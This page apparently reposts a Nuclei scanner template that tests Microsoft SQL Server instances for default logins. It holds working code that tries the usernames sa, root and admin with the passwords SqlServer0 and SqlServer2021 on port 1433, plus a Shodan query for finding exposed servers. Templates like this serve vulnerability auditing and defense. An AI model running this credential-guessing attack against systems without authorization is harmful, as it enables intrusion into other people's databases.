mssql-default-logins: Microsoft Sql - Default Logins

2025-08-01 Microsoft Sql PoC Public

Description

A MSSQL service was accessed with easily guessed credentials.

PoC

id: mssql-default-logins

info:
  name: Microsoft Sql - Default Logins
  author: Ice3man543,tarunKoyalwar
  severity: high
  description: |
    A MSSQL service was accessed with easily guessed credentials.
  metadata:
    max-request: 7
    shodan-query: port:1433
  tags: js,mssql,default-login,network,vuln

javascript:
  - pre-condition: |
      var m = require("nuclei/mssql");
      var c = m.MSSQLClient();
      c.IsMssql(Host, Port);
    code: |
      var m = require("nuclei/mssql");
      var c = m.MSSQLClient();
      c.Connect(Host,Port,User,Pass)
    args:
      Host: "{{Host}}"
      Port: "1433"
      User: "{{usernames}}"
      Pass: "{{passwords}}"
    payloads:
      usernames:
        - sa
        - root
        - admin
      passwords:
        - SqlServer0
        - SqlServer2021
    attack: clusterbomb
    matchers:
      - type: dsl
        dsl:
          - "response == true"
          - "success == true"
        condition: and
# digest: 4a0a00473045022100dd423f927dcc190332a53bc95c8700d803e57eddea58120543cc6cd470b4926202206d20e4a68b1a2f94a84a41e3343640c75df5484c49327cf0ce6daae5c489c873:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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